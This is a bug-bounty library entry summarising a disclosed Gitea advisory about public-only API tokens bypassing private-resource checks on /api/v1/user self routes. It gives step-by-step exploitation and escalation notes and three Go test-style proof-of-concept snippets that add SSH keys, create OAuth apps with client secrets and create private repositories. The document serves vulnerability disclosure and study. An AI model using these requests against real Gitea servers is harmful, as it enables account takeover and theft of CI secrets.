# Gitea: Public-only tokens bypass private-resource restrictions on `/api/v1/user` self routes

Gitea's /api/v1/user self routes skip the public-only token check, letting public-only tokens read/modify private profile, keys, emails, OAuth apps, secrets and private repos.

- Payout: Research
- Severity: high
- Program: Gitea
- Found by (vendor credit): kamil-sawicki
- Found by: kamil-sawicki
- Disclosed: 2026-06-17
- CVE: CVE-2026-24791
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-wrr5-99h5-gq57
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-wrr5-99h5-gq57
- Tags: area:web domain:api domain:web impact:data-leak impact:privesc kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass

**Target:** Gitea REST API /api/v1/user self routes
**Root cause:** The generic /api/v1/user route group requires user scope and reqToken() but never calls checkTokenPublicOnly(), so ctx.PublicOnly is set from the token scope yet only enforced on canonical /api/v1/users/{username} routes.
**Steps:**
1. Obtain a token with `public-only` plus the route-required scope, e.g. `public-only,write:user`.
2. Confirm the canonical endpoint rejects it: `GET /api/v1/users/user31` returns 403.
3. POST `/api/v1/user/keys` with `{"title":"public-only-private-key-bypass","Key":"ssh-rsa AAAA..."}` and the public-only token returns 201, adding an SSH key to the private account.
4. GET `/api/v1/user/keys` with the same token lists the added key.
5. Similarly POST `/api/v1/user/applications/oauth2` returns a client_secret; PUT `/api/v1/user/actions/secrets/PRIVATE_SECRET` creates a secret; POST `/api/v1/user/actions/runners/registration-token` mints a runner token.
6. With `public-only,write:user,write:repository`, POST `/api/v1/user/repos` with `{"Name":"public-only-private-repo","Private":true}` creates a private repo, while `GET /api/v1/repos/user31/public-only-private-repo` stays 403.
**How found:** Reporter compared the canonical /api/v1/users/{username} routes (which call checkTokenPublicOnly()) against the /api/v1/user self route group, noticed the group only applies reqToken() and scope checks, and traced that ctx.PublicOnly is set but never enforced on self routes — a residual gap from the earlier CVE-2025-68941 fix.
**Exploitation:** A third-party app or leaked token restricted to public resources but holding the route-required scope can add SSH keys, emails, OAuth2 apps (with client secrets), Actions secrets/variables, runner registration tokens, webhooks, and create/enumerate private repositories on a private account, escalating to account takeover or CI secret theft.
**Escalation:** Adding an SSH key or OAuth2 application to the private account yields persistent credential access; minting runner registration tokens or writing Actions secrets can compromise CI pipelines.
**Insight:** When a security flag is enforced by a helper called per-route rather than in shared middleware, enumerate every route group mounted with the same scope and diff which ones actually invoke the helper; self routes that alias the current user are a common blind spot because ctx.ContextUser is unset.

## Proof of concept (copied exactly from the original report)

**SSH key added via public-only token**

```
req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{
                Title: "public-only-private-key-bypass",
                Key:   "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4cn+iXnA4KvcQYSV88vGn0Yi91vG47t1P7okprVmhNTkipNRIHWr6WdCO4VDr/cvsRkuVJAsLO2enwjGWWueOO6BodiBgyAOZ/5t5nJNMCNuLGT5UIo/RI1b0WRQwxEZTRjt6mFNw6lH14wRd8ulsr9toSWBPMOGWoYs1PDeDL0JuTjL+tr1SZi/EyxCngpYszKdXllJEHyI79KQgeD0Vt3pTrkbNVTOEcCNqZePSVmUH8X8Vhugz3bnE0/iE9Pb5fkWO9c4AnM1FgI/8Bvp27Fw2ShryIXuR6kKvUqhVMTuOSDHwu6A8jLE5Owt3GAYugDpDYuwTVNGrHLXKpPzrGGPE/jPmaLCMZcsdkec95dYeU3zKODEm8UQZFhmJmDeWVJ36nGrGZHL4J5aTTaeFUJmmXDaJYiJ+K2/ioKgXqnXvltu0A9R8/LGy4nrTJRr4JMLuJFoUXvGm1gXQ70w2LSpk6yl71RNC0hCtsBe8BP8IhYCM0EP5jh7eCMQZNvM= nocomment",
        }).AddTokenAuth(publicOnlyWriteUserToken)
        resp := MakeRequest(t, req, http.StatusCreated)
        key := DecodeJSON(t, resp, &api.PublicKey{})
        require.Equal(t, "public-only-private-key-bypass", key.Title)

        unittest.AssertExistsAndLoadBean(t, &asymkey_model.PublicKey{
                ID:      key.ID,
                OwnerID: privateUser.ID,
                Name:    "public-only-private-key-bypass",
        })

        req = NewRequest(t, "GET", "/api/v1/user/keys").AddTokenAuth(publicOnlyWriteUserToken)
        resp = MakeRequest(t, req, http.StatusOK)
        keys := DecodeJSON(t, resp, []api.PublicKey{})
        found := false
        for _, k := range keys {
                if k.ID == key.ID {
                        found = true
                        break
                }
        }
        require.True(t, found)
}
```

**OAuth2 app created with client secret**

```
req := NewRequestWithJSON(t, "POST", "/api/v1/user/applications/oauth2", &api.CreateOAuth2ApplicationOptions{
                Name:               "public-only-private-oauth-app",
                RedirectURIs:       []string{"https://example.com/callback"},
                ConfidentialClient: true,
        }).AddTokenAuth(publicOnlyWriteUserToken)
        resp := MakeRequest(t, req, http.StatusCreated)
        app := DecodeJSON(t, resp, &api.OAuth2Application{})
        require.Equal(t, "public-only-private-oauth-app", app.Name)
        require.NotEmpty(t, app.ClientID)
        require.NotEmpty(t, app.ClientSecret)

        req = NewRequest(t, "GET", "/api/v1/user/applications/oauth2").AddTokenAuth(publicOnlyReadUserToken)
        resp = MakeRequest(t, req, http.StatusOK)
        apps := DecodeJSON(t, resp, api.OAuth2ApplicationList{})
        found := false
        for _, a := range apps {
                if a.ID == app.ID && a.Name == app.Name {
                        found = true
                        break
                }
        }
        require.True(t, found)
}
```

**Private repo created and listed**

```
req := NewRequestWithJSON(t, "POST", "/api/v1/user/repos", &api.CreateRepoOption{
                Name:    "public-only-private-repo",
                Private: true,
        }).AddTokenAuth(publicOnlyWriteRepoToken)
        resp := MakeRequest(t, req, http.StatusCreated)
        created := DecodeJSON(t, resp, &api.Repository{})
        require.Equal(t, "user31/public-only-private-repo", created.FullName)
        require.True(t, created.Private)

        MakeRequest(t, NewRequest(t, "GET", "/api/v1/repos/user31/public-only-private-repo").AddTokenAuth(publicOnlyReadRepoToken), http.StatusForbidden)

        resp = MakeRequest(t, NewRequest(t, "GET", "/api/v1/user/repos").AddTokenAuth(publicOnlyReadRepoToken), http.StatusOK)
        repos := DecodeJSON(t, resp, []api.Repository{})
        found := false
        for _, repo := range repos {
                if repo.FullName == "user31/public-only-private-repo" {
                        found = true
                        require.True(t, repo.Private)
                }
        }
        require.True(t, found)
}
```

